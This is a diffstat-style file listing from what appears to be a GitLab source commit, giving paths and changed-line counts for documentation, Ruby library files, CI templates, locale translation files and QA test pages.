-rw-r--r--doc/user/project/import/bitbucket.md3
-rw-r--r--doc/user/project/import/bitbucket_server.md31
-rw-r--r--doc/user/project/import/cvs.md6
-rw-r--r--doc/user/project/import/gemnasium.md4
-rw-r--r--doc/user/project/import/github.md41
-rw-r--r--doc/user/project/index.md12
-rw-r--r--doc/user/project/integrations/ewm.md30
-rw-r--r--doc/user/project/integrations/generic_alerts.md123
-rw-r--r--doc/user/project/integrations/irker.md2
-rw-r--r--doc/user/project/integrations/jira.md6
-rw-r--r--doc/user/project/integrations/jira_integrations.md2
-rw-r--r--doc/user/project/integrations/overview.md7
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx.md2
-rw-r--r--doc/user/project/integrations/servicenow.md41
-rw-r--r--doc/user/project/issue_board.md172
-rw-r--r--doc/user/project/issues/design_management.md71
-rw-r--r--doc/user/project/issues/due_dates.md4
-rw-r--r--doc/user/project/issues/img/design_todo_button_v13_4.pngbin0 -> 166635 bytes
-rw-r--r--doc/user/project/issues/index.md15
-rw-r--r--doc/user/project/issues/issue_data_and_actions.md12
-rw-r--r--doc/user/project/issues/sorting_issue_lists.md4
-rw-r--r--doc/user/project/merge_requests/browser_performance_testing.md12
-rw-r--r--doc/user/project/merge_requests/code_quality.md20
-rw-r--r--doc/user/project/merge_requests/getting_started.md2
-rw-r--r--doc/user/project/merge_requests/img/browser_performance_testing.pngbin26201 -> 40417 bytes
-rw-r--r--doc/user/project/merge_requests/img/update_approval_rule_v13_4.pngbin0 -> 32006 bytes
-rw-r--r--doc/user/project/merge_requests/index.md2
-rw-r--r--doc/user/project/merge_requests/load_performance_testing.md30
-rw-r--r--doc/user/project/merge_requests/merge_request_approvals.md53
-rw-r--r--doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md45
-rw-r--r--doc/user/project/merge_requests/squash_and_merge.md23
-rw-r--r--doc/user/project/merge_requests/test_coverage_visualization.md14
-rw-r--r--doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md2
-rw-r--r--doc/user/project/milestones/index.md10
-rw-r--r--doc/user/project/new_ci_build_permissions_model.md18
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/index.md2
-rw-r--r--doc/user/project/pages/getting_started/pages_from_scratch.md14
-rw-r--r--doc/user/project/pages/getting_started_part_one.md2
-rw-r--r--doc/user/project/pages/index.md1
-rw-r--r--doc/user/project/pages/introduction.md13
-rw-r--r--doc/user/project/pages/lets_encrypt_for_gitlab_pages.md2
-rw-r--r--doc/user/project/pages/pages_access_control.md4
-rw-r--r--doc/user/project/pages/redirects.md130
-rw-r--r--doc/user/project/releases/index.md11
-rw-r--r--doc/user/project/repository/branches/index.md2
-rw-r--r--doc/user/project/repository/git_blame.md2
-rw-r--r--doc/user/project/repository/gpg_signed_commits/index.md2
-rw-r--r--doc/user/project/repository/index.md2
-rw-r--r--doc/user/project/repository/reducing_the_repo_size_using_git.md29
-rw-r--r--doc/user/project/repository/repository_mirroring.md26
-rw-r--r--doc/user/project/repository/web_editor.md45
-rw-r--r--doc/user/project/requirements/index.md2
-rw-r--r--doc/user/project/settings/img/cve_id_request_toggle.pngbin0 -> 5395 bytes
-rw-r--r--doc/user/project/settings/index.md19
-rw-r--r--doc/user/project/settings/project_access_tokens.md11
-rw-r--r--doc/user/project/static_site_editor/index.md2
-rw-r--r--doc/user/project/web_ide/index.md83
-rw-r--r--doc/user/project/wiki/index.md2
-rw-r--r--doc/user/search/advanced_global_search.md19
-rw-r--r--doc/user/search/advanced_search_syntax.md48
-rw-r--r--doc/user/search/img/project_code_search.pngbin0 -> 24924 bytes
-rw-r--r--doc/user/search/img/project_search_dropdown.pngbin0 -> 117963 bytes
-rw-r--r--doc/user/search/index.md29
-rw-r--r--doc/user/shortcuts.md9
-rw-r--r--doc/user/todos.md170
-rw-r--r--lib/api/api.rb16
-rw-r--r--lib/api/applications.rb16
-rw-r--r--lib/api/ci/pipelines.rb93
-rw-r--r--lib/api/ci/runner.rb20
-rw-r--r--lib/api/commit_statuses.rb6
-rw-r--r--lib/api/commits.rb5
-rw-r--r--lib/api/composer_packages.rb2
-rw-r--r--lib/api/conan_instance_packages.rb10
-rw-r--r--lib/api/conan_package_endpoints.rb349
-rw-r--r--lib/api/conan_packages.rb351
-rw-r--r--lib/api/conan_project_packages.rb16
-rw-r--r--lib/api/entities/issue_link.rb11
-rw-r--r--lib/api/entities/milestone.rb1
-rw-r--r--lib/api/entities/package.rb2
-rw-r--r--lib/api/entities/related_issue.rb10
-rw-r--r--lib/api/generic_packages.rb34
-rw-r--r--lib/api/github/entities.rb217
-rw-r--r--lib/api/helpers.rb20
-rw-r--r--lib/api/helpers/internal_helpers.rb2
-rw-r--r--lib/api/helpers/packages/conan/api_helpers.rb98
-rw-r--r--lib/api/helpers/packages_helpers.rb4
-rw-r--r--lib/api/helpers/packages_manager_clients_helpers.rb22
-rw-r--r--lib/api/helpers/search_helpers.rb4
-rw-r--r--lib/api/helpers/services_helpers.rb27
-rw-r--r--lib/api/helpers/snippets_helpers.rb46
-rw-r--r--lib/api/internal/base.rb12
-rw-r--r--lib/api/internal/kubernetes.rb32
-rw-r--r--lib/api/issue_links.rb82
-rw-r--r--lib/api/issues.rb13
-rw-r--r--lib/api/jobs.rb48
-rw-r--r--lib/api/maven_packages.rb11
-rw-r--r--lib/api/merge_requests.rb10
-rw-r--r--lib/api/npm_packages.rb4
-rw-r--r--lib/api/nuget_packages.rb13
-rw-r--r--lib/api/project_snippets.rb19
-rw-r--r--lib/api/pypi_packages.rb21
-rw-r--r--lib/api/search.rb4
-rw-r--r--lib/api/settings.rb7
-rw-r--r--lib/api/sidekiq_metrics.rb2
-rw-r--r--lib/api/snippets.rb22
-rw-r--r--lib/api/terraform/state.rb7
-rw-r--r--lib/api/todos.rb13
-rw-r--r--lib/api/usage_data.rb30
-rw-r--r--lib/api/users.rb12
-rw-r--r--lib/api/v3/github.rb232
-rw-r--r--lib/api/variables.rb1
-rw-r--r--lib/api/wikis.rb13
-rw-r--r--lib/atlassian/jira_connect.rb21
-rw-r--r--lib/atlassian/jira_connect/client.rb47
-rw-r--r--lib/atlassian/jira_connect/serializers/author_entity.rb24
-rw-r--r--lib/atlassian/jira_connect/serializers/base_entity.rb22
-rw-r--r--lib/atlassian/jira_connect/serializers/branch_entity.rb32
-rw-r--r--lib/atlassian/jira_connect/serializers/commit_entity.rb45
-rw-r--r--lib/atlassian/jira_connect/serializers/file_entity.rb38
-rw-r--r--lib/atlassian/jira_connect/serializers/pull_request_entity.rb42
-rw-r--r--lib/atlassian/jira_connect/serializers/repository_entity.rb29
-rw-r--r--lib/atlassian/jira_issue_key_extractor.rb17
-rw-r--r--lib/backup/artifacts.rb2
-rw-r--r--lib/backup/database.rb72
-rw-r--r--lib/backup/files.rb27
-rw-r--r--lib/backup/manager.rb12
-rw-r--r--lib/backup/pages.rb2
-rw-r--r--lib/backup/repository.rb28
-rw-r--r--lib/backup/uploads.rb2
-rw-r--r--lib/banzai/filter/abstract_reference_filter.rb4
-rw-r--r--lib/banzai/filter/alert_reference_filter.rb29
-rw-r--r--lib/banzai/filter/autolink_filter.rb2
-rw-r--r--lib/banzai/filter/emoji_filter.rb2
-rw-r--r--lib/banzai/filter/gollum_tags_filter.rb2
-rw-r--r--lib/banzai/filter/inline_metrics_filter.rb3
-rw-r--r--lib/banzai/pipeline/broadcast_message_pipeline.rb1
-rw-r--r--lib/banzai/pipeline/gfm_pipeline.rb9
-rw-r--r--lib/banzai/pipeline/single_line_pipeline.rb5
-rw-r--r--lib/banzai/reference_parser/alert_parser.rb19
-rw-r--r--lib/bitbucket_server/representation/comment.rb4
-rw-r--r--lib/bitbucket_server/representation/pull_request.rb6
-rw-r--r--lib/carrier_wave_string_file.rb8
-rw-r--r--lib/constraints/jira_encoded_url_constrainer.rb9
-rw-r--r--lib/container_registry/client.rb11
-rw-r--r--lib/expand_variables.rb2
-rw-r--r--lib/extracts_ref.rb1
-rw-r--r--lib/feature.rb14
-rw-r--r--lib/feature/definition.rb27
-rw-r--r--lib/feature/shared.rb27
-rw-r--r--lib/gitlab/access.rb13
-rw-r--r--lib/gitlab/alert_management/alert_params.rb4
-rw-r--r--lib/gitlab/alert_management/payload.rb48
-rw-r--r--lib/gitlab/alert_management/payload/base.rb167
-rw-r--r--lib/gitlab/alert_management/payload/generic.rb25
-rw-r--r--lib/gitlab/alert_management/payload/managed_prometheus.rb58
-rw-r--r--lib/gitlab/alert_management/payload/prometheus.rb99
-rw-r--r--lib/gitlab/alerting/notification_payload_parser.rb24
-rw-r--r--lib/gitlab/analytics/cycle_analytics/default_stages.rb13
-rw-r--r--lib/gitlab/analytics/cycle_analytics/stage_events/production_stage_end.rb2
-rw-r--r--lib/gitlab/analytics/instance_statistics/workers_argument_builder.rb32
-rw-r--r--lib/gitlab/analytics/unique_visits.rb20
-rw-r--r--lib/gitlab/anonymous_session.rb17
-rw-r--r--lib/gitlab/application_context.rb2
-rw-r--r--lib/gitlab/auth.rb16
-rw-r--r--lib/gitlab/auth/atlassian/auth_hash.rb31
-rw-r--r--lib/gitlab/auth/atlassian/identity_linker.rb30
-rw-r--r--lib/gitlab/auth/atlassian/user.rb35
-rw-r--r--lib/gitlab/auth/ldap/adapter.rb4
-rw-r--r--lib/gitlab/auth/ldap/config.rb4
-rw-r--r--lib/gitlab/auth/ldap/person.rb6
-rw-r--r--lib/gitlab/auth/o_auth/provider.rb9
-rw-r--r--lib/gitlab/auth/o_auth/user.rb6
-rw-r--r--lib/gitlab/background_migration.rb2
-rw-r--r--lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb2
-rw-r--r--lib/gitlab/background_migration/calculate_wiki_sizes.rb2
-rw-r--r--lib/gitlab/background_migration/fill_valid_time_for_pages_domain_certificate.rb2
-rw-r--r--lib/gitlab/background_migration/fix_pages_access_level.rb4
-rw-r--r--lib/gitlab/background_migration/migrate_to_hashed_storage.rb61
-rw-r--r--lib/gitlab/background_migration/populate_resolved_on_default_branch_column.rb12
-rw-r--r--lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb14
-rw-r--r--lib/gitlab/background_migration/remove_duplicate_cs_findings.rb13
-rw-r--r--lib/gitlab/background_migration/set_merge_request_diff_files_count.rb21
-rw-r--r--lib/gitlab/background_migration/set_null_package_files_file_store_to_local_value.rb8
-rw-r--r--lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb13
-rw-r--r--lib/gitlab/backtrace_cleaner.rb2
-rw-r--r--lib/gitlab/badge/coverage/template.rb4
-rw-r--r--lib/gitlab/badge/pipeline/status.rb7
-rw-r--r--lib/gitlab/badge/pipeline/template.rb4
-rw-r--r--lib/gitlab/badge/template.rb3
-rw-r--r--lib/gitlab/bitbucket_server_import/importer.rb43
-rw-r--r--lib/gitlab/cache/request_cache.rb2
-rw-r--r--lib/gitlab/checks/lfs_integrity.rb2
-rw-r--r--lib/gitlab/checks/snippet_check.rb8
-rw-r--r--lib/gitlab/ci/ansi2html.rb200
-rw-r--r--lib/gitlab/ci/artifact_file_reader.rb25
-rw-r--r--lib/gitlab/ci/build/prerequisite/kubernetes_namespace.rb6
-rw-r--r--lib/gitlab/ci/config.rb4
-rw-r--r--lib/gitlab/ci/config/entry/job.rb34
-rw-r--r--lib/gitlab/ci/config/entry/jobs.rb10
-rw-r--r--lib/gitlab/ci/config/entry/root.rb2
-rw-r--r--lib/gitlab/ci/config/normalizer.rb1
-rw-r--r--lib/gitlab/ci/config/normalizer/matrix_strategy.rb13
-rw-r--r--lib/gitlab/ci/features.rb51
-rw-r--r--lib/gitlab/ci/lint.rb108
-rw-r--r--lib/gitlab/ci/mask_secret.rb5
-rw-r--r--lib/gitlab/ci/pipeline/chain/build.rb6
-rw-r--r--lib/gitlab/ci/pipeline/chain/command.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/config/content/remote.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/config/process.rb15
-rw-r--r--lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs.rb4
-rw-r--r--lib/gitlab/ci/pipeline/chain/seed.rb4
-rw-r--r--lib/gitlab/ci/pipeline/chain/validate/external.rb2
-rw-r--r--lib/gitlab/ci/pipeline/expression/lexer.rb20
-rw-r--r--lib/gitlab/ci/pipeline/expression/parser.rb28
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb8
-rw-r--r--lib/gitlab/ci/pipeline_object_hierarchy.rb45
-rw-r--r--lib/gitlab/ci/reports/test_case.rb2
-rw-r--r--lib/gitlab/ci/reports/test_suite.rb16
-rw-r--r--lib/gitlab/ci/status/bridge/common.rb18
-rw-r--r--lib/gitlab/ci/status/build/failed.rb3
-rw-r--r--lib/gitlab/ci/status/composite.rb11
-rw-r--r--lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml30
-rw-r--r--lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml8
-rw-r--r--lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml26
-rw-r--r--lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml249
-rw-r--r--lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml18
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml10
-rw-r--r--lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml98
-rw-r--r--lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml113
-rw-r--r--lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/npm.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/trace.rb39
-rw-r--r--lib/gitlab/ci/trace/metrics.rb44
-rw-r--r--lib/gitlab/ci/trace/stream.rb8
-rw-r--r--lib/gitlab/ci/warnings.rb5
-rw-r--r--lib/gitlab/ci/yaml_processor.rb192
-rw-r--r--lib/gitlab/ci/yaml_processor/result.rb120
-rw-r--r--lib/gitlab/cleanup/orphan_job_artifact_files.rb2
-rw-r--r--lib/gitlab/cleanup/orphan_job_artifact_files_batch.rb2
-rw-r--r--lib/gitlab/cleanup/orphan_lfs_file_references.rb32
-rw-r--r--lib/gitlab/cleanup/project_upload_file_finder.rb2
-rw-r--r--lib/gitlab/cleanup/project_uploads.rb2
-rw-r--r--lib/gitlab/cleanup/remote_uploads.rb2
-rw-r--r--lib/gitlab/consul/internal.rb78
-rw-r--r--lib/gitlab/cross_project_access.rb2
-rw-r--r--lib/gitlab/cycle_analytics/production_stage.rb38
-rw-r--r--lib/gitlab/danger/changelog.rb57
-rw-r--r--lib/gitlab/danger/helper.rb19
-rw-r--r--lib/gitlab/danger/roulette.rb2
-rw-r--r--lib/gitlab/danger/teammate.rb4
-rw-r--r--lib/gitlab/data_builder/push.rb2
-rw-r--r--lib/gitlab/database.rb2
-rw-r--r--lib/gitlab/database/background_migration_job.rb2
-rw-r--r--lib/gitlab/database/concurrent_reindex.rb143
-rw-r--r--lib/gitlab/database/custom_structure.rb3
-rw-r--r--lib/gitlab/database/migration_helpers.rb19
-rw-r--r--lib/gitlab/database/partitioning/partition_monitoring.rb34
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb4
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb85
-rw-r--r--lib/gitlab/database/rename_reserved_paths_migration/v1/rename_namespaces.rb2
-rw-r--r--lib/gitlab/database/rename_reserved_paths_migration/v1/rename_projects.rb2
-rw-r--r--lib/gitlab/database/schema_cleaner.rb11
-rw-r--r--lib/gitlab/database_importers/common_metrics/prometheus_metric_enums.rb4
-rw-r--r--lib/gitlab/database_importers/instance_administrators/create_group.rb6
-rw-r--r--lib/gitlab/database_importers/self_monitoring/project/create_service.rb2
-rw-r--r--lib/gitlab/diff/highlight.rb2
-rw-r--r--lib/gitlab/diff/highlight_cache.rb28
-rw-r--r--lib/gitlab/discussions_diff/highlight_cache.rb6
-rw-r--r--lib/gitlab/email/hook/disable_email_interceptor.rb2
-rw-r--r--lib/gitlab/email/receiver.rb10
-rw-r--r--lib/gitlab/encoding_helper.rb2
-rw-r--r--lib/gitlab/error_tracking.rb2
-rw-r--r--lib/gitlab/error_tracking/processor/grpc_error_processor.rb67
-rw-r--r--lib/gitlab/experimentation.rb20
-rw-r--r--lib/gitlab/file_type_detection.rb8
-rw-r--r--lib/gitlab/fogbugz_import/importer.rb2
-rw-r--r--lib/gitlab/git.rb1
-rw-r--r--lib/gitlab/git/base_error.rb21
-rw-r--r--lib/gitlab/git/diff_collection.rb2
-rw-r--r--lib/gitlab/git/keep_around.rb2
-rw-r--r--lib/gitlab/git/repository.rb20
-rw-r--r--lib/gitlab/git/wiki.rb1
-rw-r--r--lib/gitlab/git_access_snippet.rb2
-rw-r--r--lib/gitlab/gitaly_client.rb2
-rw-r--r--lib/gitlab/gitpod.rb30
-rw-r--r--lib/gitlab/gl_repository.rb6
-rw-r--r--lib/gitlab/gl_repository/repo_type.rb2
-rw-r--r--lib/gitlab/gon_helper.rb6
-rw-r--r--lib/gitlab/graphql/docs/helper.rb46
-rw-r--r--lib/gitlab/graphql/docs/templates/default.md.haml46
-rw-r--r--lib/gitlab/graphql/loaders/issuable_loader.rb17
-rw-r--r--lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb5
-rw-r--r--lib/gitlab/graphql/pagination/keyset/order_info.rb38
-rw-r--r--lib/gitlab/graphql/representation/submodule_tree_entry.rb4
-rw-r--r--lib/gitlab/group_search_results.rb30
-rw-r--r--lib/gitlab/hashed_storage/migrator.rb20
-rw-r--r--lib/gitlab/health_checks/simple_abstract_check.rb2
-rw-r--r--lib/gitlab/highlight.rb8
-rw-r--r--lib/gitlab/http.rb2
-rw-r--r--lib/gitlab/i18n/html_todo.yml121
-rw-r--r--lib/gitlab/import_export/lfs_saver.rb2
-rw-r--r--lib/gitlab/import_export/project/import_export.yml12
-rw-r--r--lib/gitlab/jira/dvcs.rb48
-rw-r--r--lib/gitlab/jira/middleware.rb23
-rw-r--r--lib/gitlab/json.rb2
-rw-r--r--lib/gitlab/kas.rb28
-rw-r--r--lib/gitlab/kubernetes/cilium_network_policy.rb42
-rw-r--r--lib/gitlab/kubernetes/kube_client.rb2
-rw-r--r--lib/gitlab/kubernetes/network_policy.rb25
-rw-r--r--lib/gitlab/kubernetes/network_policy_common.rb15
-rw-r--r--lib/gitlab/lfs/client.rb101
-rw-r--r--lib/gitlab/logger.rb3
-rw-r--r--lib/gitlab/marginalia/comment.rb2
-rw-r--r--lib/gitlab/metrics/dashboard/importer.rb41
-rw-r--r--lib/gitlab/metrics/dashboard/importers/prometheus_metrics.rb72
-rw-r--r--lib/gitlab/metrics/dashboard/stages/custom_metrics_details_inserter.rb2
-rw-r--r--lib/gitlab/metrics/dashboard/transformers/errors.rb19
-rw-r--r--lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics.rb54
-rw-r--r--lib/gitlab/metrics/dashboard/url.rb58
-rw-r--r--lib/gitlab/metrics/dashboard/validator.rb16
-rw-r--r--lib/gitlab/metrics/dashboard/validator/client.rb2
-rw-r--r--lib/gitlab/metrics/dashboard/validator/schemas/panel.json2
-rw-r--r--lib/gitlab/metrics/exporter/sidekiq_exporter.rb6
-rw-r--r--lib/gitlab/metrics/instrumentation.rb17
-rw-r--r--lib/gitlab/metrics/methods.rb2
-rw-r--r--lib/gitlab/metrics/samplers/action_cable_sampler.rb63
-rw-r--r--lib/gitlab/metrics/samplers/base_sampler.rb2
-rw-r--r--lib/gitlab/metrics/samplers/puma_sampler.rb2
-rw-r--r--lib/gitlab/middleware/multipart.rb99
-rw-r--r--lib/gitlab/middleware/read_only/controller.rb2
-rw-r--r--lib/gitlab/middleware/same_site_cookies.rb89
-rw-r--r--lib/gitlab/object_hierarchy.rb31
-rw-r--r--lib/gitlab/pages/settings.rb8
-rw-r--r--lib/gitlab/pages_transfer.rb19
-rw-r--r--lib/gitlab/project_authorizations.rb2
-rw-r--r--lib/gitlab/project_search_results.rb6
-rw-r--r--lib/gitlab/prometheus/internal.rb4
-rw-r--r--lib/gitlab/prometheus_client.rb15
-rw-r--r--lib/gitlab/quick_actions/extractor.rb185
-rw-r--r--lib/gitlab/quick_actions/issue_and_merge_request_actions.rb2
-rw-r--r--lib/gitlab/quick_actions/relate_actions.rb29
-rw-r--r--lib/gitlab/quick_actions/substitution_definition.rb4
-rw-r--r--lib/gitlab/redis/shared_state.rb2
-rw-r--r--lib/gitlab/reference_counter.rb6
-rw-r--r--lib/gitlab/regex.rb36
-rw-r--r--lib/gitlab/relative_positioning.rb17
-rw-r--r--lib/gitlab/relative_positioning/gap.rb21
-rw-r--r--lib/gitlab/relative_positioning/item_context.rb259
-rw-r--r--lib/gitlab/relative_positioning/mover.rb155
-rw-r--r--lib/gitlab/relative_positioning/range.rb83
-rw-r--r--lib/gitlab/repository_cache_adapter.rb2
-rw-r--r--lib/gitlab/repository_set_cache.rb2
-rw-r--r--lib/gitlab/request_profiler.rb8
-rw-r--r--lib/gitlab/robots_txt.rb17
-rw-r--r--lib/gitlab/robots_txt/parser.rb37
-rw-r--r--lib/gitlab/sanitizers/exif.rb2
-rw-r--r--lib/gitlab/search/recent_issues.rb17
-rw-r--r--lib/gitlab/search/recent_items.rb59
-rw-r--r--lib/gitlab/search/recent_merge_requests.rb17
-rw-r--r--lib/gitlab/search_results.rb11
-rw-r--r--lib/gitlab/setup_helper.rb19
-rw-r--r--lib/gitlab/shell.rb2
-rw-r--r--lib/gitlab/sherlock/query.rb2
-rw-r--r--lib/gitlab/sidekiq_daemon/memory_killer.rb6
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/client.rb2
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb2
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies.rb3
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none.rb23
-rw-r--r--lib/gitlab/snippet_search_results.rb5
-rw-r--r--lib/gitlab/sourcegraph.rb4
-rw-r--r--lib/gitlab/sql/except.rb22
-rw-r--r--lib/gitlab/sql/intersect.rb23
-rw-r--r--lib/gitlab/sql/set_operator.rb53
-rw-r--r--lib/gitlab/sql/union.rb27
-rw-r--r--lib/gitlab/static_site_editor/config.rb63
-rw-r--r--lib/gitlab/static_site_editor/config/file_config.rb15
-rw-r--r--lib/gitlab/static_site_editor/config/generated_config.rb70
-rw-r--r--lib/gitlab/submodule_links.rb18
-rw-r--r--lib/gitlab/task_helpers.rb2
-rw-r--r--lib/gitlab/template/finders/global_template_finder.rb6
-rw-r--r--lib/gitlab/template/gitlab_ci_yml_template.rb18
-rw-r--r--lib/gitlab/testing/robots_blocker_middleware.rb45
-rw-r--r--lib/gitlab/tracking.rb12
-rw-r--r--lib/gitlab/tracking/incident_management.rb3
-rw-r--r--lib/gitlab/usage_data.rb188
-rw-r--r--lib/gitlab/usage_data/topology.rb13
-rw-r--r--lib/gitlab/usage_data_counters/editor_unique_counter.rb56
-rw-r--r--lib/gitlab/usage_data_counters/hll_redis_counter.rb51
-rw-r--r--lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb45
-rw-r--r--lib/gitlab/usage_data_counters/known_events.yml154
-rw-r--r--lib/gitlab/usage_data_counters/kubernetes_agent_counter.rb22
-rw-r--r--lib/gitlab/usage_data_counters/redis_counter.rb6
-rw-r--r--lib/gitlab/usage_data_counters/track_unique_actions.rb72
-rw-r--r--lib/gitlab/usage_data_counters/track_unique_events.rb70
-rw-r--r--lib/gitlab/usage_data_queries.rb36
-rw-r--r--lib/gitlab/utils/gzip.rb30
-rw-r--r--lib/gitlab/utils/markdown.rb2
-rw-r--r--lib/gitlab/utils/usage_data.rb47
-rw-r--r--lib/gitlab/web_ide/config.rb4
-rw-r--r--lib/gitlab/web_ide/config/entry/global.rb12
-rw-r--r--lib/gitlab/workhorse.rb5
-rw-r--r--lib/gitlab_danger.rb2
-rw-r--r--lib/mattermost/session.rb4
-rw-r--r--lib/microsoft_teams/notifier.rb2
-rw-r--r--lib/object_storage/config.rb26
-rw-r--r--lib/object_storage/direct_upload.rb8
-rw-r--r--lib/product_analytics/tracker.rb31
-rw-r--r--lib/system_check/app/redis_version_check.rb2
-rw-r--r--lib/tasks/gettext.rake4
-rw-r--r--lib/tasks/gitlab/assets.rake6
-rw-r--r--lib/tasks/gitlab/backup.rake27
-rw-r--r--lib/tasks/gitlab/db.rake7
-rw-r--r--lib/tasks/gitlab/lfs/migrate.rake10
-rw-r--r--lib/tasks/gitlab/sidekiq.rake2
-rw-r--r--lib/tasks/gitlab/usage_data.rake13
-rw-r--r--lib/tasks/pngquant.rake50
-rw-r--r--lib/uploaded_file.rb29
-rw-r--r--locale/am_ET/gitlab.po1692
-rw-r--r--locale/ar_SA/gitlab.po1696
-rw-r--r--locale/as_IN/gitlab.po1684
-rw-r--r--locale/az_AZ/gitlab.po1684
-rw-r--r--locale/ba_RU/gitlab.po1681
-rw-r--r--locale/bg/gitlab.po1686
-rw-r--r--locale/bn_BD/gitlab.po1684
-rw-r--r--locale/bn_IN/gitlab.po1684
-rw-r--r--locale/bs_BA/gitlab.po1687
-rw-r--r--locale/ca_ES/gitlab.po1690
-rw-r--r--locale/cs_CZ/gitlab.po1690
-rw-r--r--locale/cy_GB/gitlab.po1702
-rw-r--r--locale/da_DK/gitlab.po1684
-rw-r--r--locale/de/gitlab.po1748
-rw-r--r--locale/el_GR/gitlab.po1684
-rw-r--r--locale/eo/gitlab.po1686
-rw-r--r--locale/es/gitlab.po1840
-rw-r--r--locale/et_EE/gitlab.po1684
-rw-r--r--locale/fa_IR/gitlab.po1684
-rw-r--r--locale/fi_FI/gitlab.po1684
-rw-r--r--locale/fil_PH/gitlab.po1684
-rw-r--r--locale/fr/gitlab.po1740
-rw-r--r--locale/gitlab.pot1709
-rw-r--r--locale/gl_ES/gitlab.po1686
-rw-r--r--locale/he_IL/gitlab.po1690
-rw-r--r--locale/hi_IN/gitlab.po1684
-rw-r--r--locale/hr_HR/gitlab.po1687
-rw-r--r--locale/hu_HU/gitlab.po1684
-rw-r--r--locale/id_ID/gitlab.po1681
-rw-r--r--locale/ig_NG/gitlab.po1681
-rw-r--r--locale/is_IS/gitlab.po1684
-rw-r--r--locale/it/gitlab.po1688
-rw-r--r--locale/ja/gitlab.po1805
-rw-r--r--locale/ka_GE/gitlab.po1684
-rw-r--r--locale/kab/gitlab.po30486
-rw-r--r--locale/ko/gitlab.po1735
-rw-r--r--locale/ku_TR/gitlab.po1684
-rw-r--r--locale/ky_KG/gitlab.po1684
-rw-r--r--locale/lt_LT/gitlab.po1690
-rw-r--r--locale/mn_MN/gitlab.po1684
-rw-r--r--locale/nb_NO/gitlab.po1684
-rw-r--r--locale/nl_NL/gitlab.po1684
-rw-r--r--locale/pa_IN/gitlab.po1684
-rw-r--r--locale/pl_PL/gitlab.po1694
-rw-r--r--locale/pt_BR/gitlab.po1742
-rw-r--r--locale/pt_PT/gitlab.po1712
-rw-r--r--locale/ro_RO/gitlab.po1687
-rw-r--r--locale/ru/gitlab.po1780
-rw-r--r--locale/si_LK/gitlab.po1684
-rw-r--r--locale/sk_SK/gitlab.po1690
-rw-r--r--locale/sl_SI/gitlab.po1690
-rw-r--r--locale/sq_AL/gitlab.po1684
-rw-r--r--locale/sr_CS/gitlab.po1687
-rw-r--r--locale/sr_SP/gitlab.po1687
-rw-r--r--locale/sv_SE/gitlab.po1684
-rw-r--r--locale/sw_KE/gitlab.po1684
-rw-r--r--locale/tr_TR/gitlab.po1882
-rw-r--r--locale/uk/gitlab.po1966
-rw-r--r--locale/ur_PK/gitlab.po1684
-rw-r--r--locale/uz_UZ/gitlab.po1684
-rw-r--r--locale/vi_VN/gitlab.po1681
-rw-r--r--locale/zh_CN/gitlab.po3405
-rw-r--r--locale/zh_HK/gitlab.po1687
-rw-r--r--locale/zh_TW/gitlab.po1691
-rw-r--r--package.json37
-rw-r--r--qa/Gemfile3
-rw-r--r--qa/Gemfile.lock37
-rw-r--r--qa/qa.rb6
-rw-r--r--qa/qa/fixtures/metrics_dashboards/templating.yml43
-rw-r--r--qa/qa/git/repository.rb4
-rw-r--r--qa/qa/page/admin/settings/component/repository_storage.rb26
-rw-r--r--qa/qa/page/admin/settings/repository.rb23
-rw-r--r--qa/qa/page/component/issue_board/show.rb2
-rw-r--r--qa/qa/page/component/project_selector.rb3
-rw-r--r--qa/qa/page/component/select2.rb8
-rw-r--r--qa/qa/page/component/snippet.rb14
-rw-r--r--qa/qa/page/dashboard/snippet/edit.rb4
-rw-r--r--qa/qa/page/main/sign_up.rb12
-rw-r--r--qa/qa/page/merge_request/show.rb15
-rw-r--r--qa/qa/page/profile/accounts/show.rb7
-rw-r--r--qa/qa/page/project/issue/index.rb2
-rw-r--r--qa/qa/page/project/issue/show.rb36
-rw-r--r--qa/qa/page/project/job/show.rb12
-rw-r--r--qa/qa/page/project/operations/kubernetes/add.rb4
-rw-r--r--qa/qa/page/project/operations/metrics/show.rb25
